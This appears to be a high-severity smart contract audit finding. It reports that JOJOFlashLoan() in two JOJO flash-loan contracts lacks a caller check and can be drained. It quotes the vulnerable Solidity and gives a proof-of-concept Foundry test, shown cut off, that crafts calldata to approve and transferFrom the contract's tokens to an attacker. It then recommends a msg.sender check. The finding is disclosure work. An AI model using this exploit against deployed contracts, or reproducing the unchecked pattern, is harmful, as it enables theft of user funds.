ashirleyshe

high

# FlashLoanLiquidate and FlashLoanRepay contract can be drained by abusing the JOJOFlashLoan()

## Summary

The attacker can abuse the `JOJOFlashLoan()` to drain the assets in `FlashLoanLiquidate.sol` and `FlashLoanRepay.sol`.

## Vulnerability Detail

```solidity
    function JOJOFlashLoan(
        address asset,
        uint256 amount,
        address to,
        bytes calldata param
    ) external {
        //swapContract swap
        (LiquidateData memory liquidateData, bytes memory originParam) = abi
            .decode(param, (LiquidateData, bytes));
        (
            address approveTarget,
            address swapTarget,
            address liquidator,
            bytes memory data
        ) = abi.decode(originParam, (address, address, address, bytes));
        IERC20(asset).approve(approveTarget, amount);
        (bool success, ) = swapTarget.call(data);
        if (success == false) {
            assembly {
                let ptr := mload(0x40)
                let size := returndatasize()
                returndatacopy(ptr, 0, size)
                revert(ptr, size)
            }
        }

        ...
```
The JOJOFlashLoan function in both FlashLoanLiquidate.sol and FlashLoanRepay.sol files lacks proper validation, as it does not verify whether the caller is JUSDBank.sol. Due to the function's external visibility and absence of input checks, it is vulnerable to arbitrary inputs.

This vulnerability can be exploited by an attacker who can steal assets from the contract by carefully constructing the necessary parameters. The contract approves an arbitrary amount of assets to be transferred to the approveTarget. In the next line, a call is made, allowing the attacker to strategically craft the swapTarget and data values. By doing this, the attacker can first approve a large amount of assets to be transferred to their address and then execute the transfer, effectively stealing the assets from the contract.

Here is a PoC test case:
```diff
diff --git a/JUSDV1/test/Impl/JUSDBankFlashloan.t.sol b/JUSDV1/test/Impl/JUSDBankFlashloan.t.sol
index b326701..be28592 100644
--- a/JUSDV1/test/Impl/JUSDBankFlashloan.t.sol
+++ b/JUSDV1/test/Impl/JUSDBankFlashloan.t.sol
@@ -298,4 +298,38 @@ contract JUSDBankFlashloanTest is JUSDBankInitTest {
         );
         vm.stopPrank();
     }
+
+    function testJOJOFlashLoan() public {
+        MockERC20 usdc = new MockERC20(4000e18);
+        JUSDExchange jusdExchange = new JUSDExchange(
+            address(usdc),
+            address(jusd)
+        );
+        jusd.mint(5000e6);
+        IERC20(jusd).transfer(address(jusdExchange), 5000e6);
+        FlashLoanRepay flashloanRepay = new FlashLoanRepay(
+            address(jusdBank),
+            address(jusdExchange),
+            address(usdc),
+            address(jusd)
+        );
+        uint256 amount = 1000e18;
+        IERC20(usdc).transfer(address(flashloanRepay), amount);
+        mockToken1.transfer(alice, 5e18);
+        vm.startPrank(alice);
+        assertEq(IERC20(usdc).balanceOf(alice), 0);
+        mockToken1.approve(address(jusdBank), 1e18);
+        jusdBank.deposit(alice, address(mockToken1), 1e18, alice);
+        jusdBank.borrow(1e6, alice, false);
+        bytes memory inner_data = abi.encodeWithSignature("transferFrom(address,address,uint256)", address(flashloanRepay), address(alice), 999e18);
+        bytes memory data = abi.encode(address(flashloanRepay), address(usdc), 0, inner_data);
+        flashloanRepay.JOJOFlashLoan(
+            address(usdc),
+            amount,
+            address(alice),
+            data
+        );
```

## Impact

The attacker can drain the assets from FlashLoanLiquidate and FlashLoanRepay contract.

## Code Snippet

https://github.com/sherlock-audit/2023-04-jojo/blob/main/JUSDV1/src/Impl/flashloanImpl/FlashLoanLiquidate.sol#L53-L62
https://github.com/sherlock-audit/2023-04-jojo/blob/main/JUSDV1/src/Impl/flashloanImpl/FlashLoanRepay.sol#L41-L44

## Tool used

Manual Review

## Recommendation

Check the `msg.sender` is JUSDBank in `JOJOFlashLoan()`.
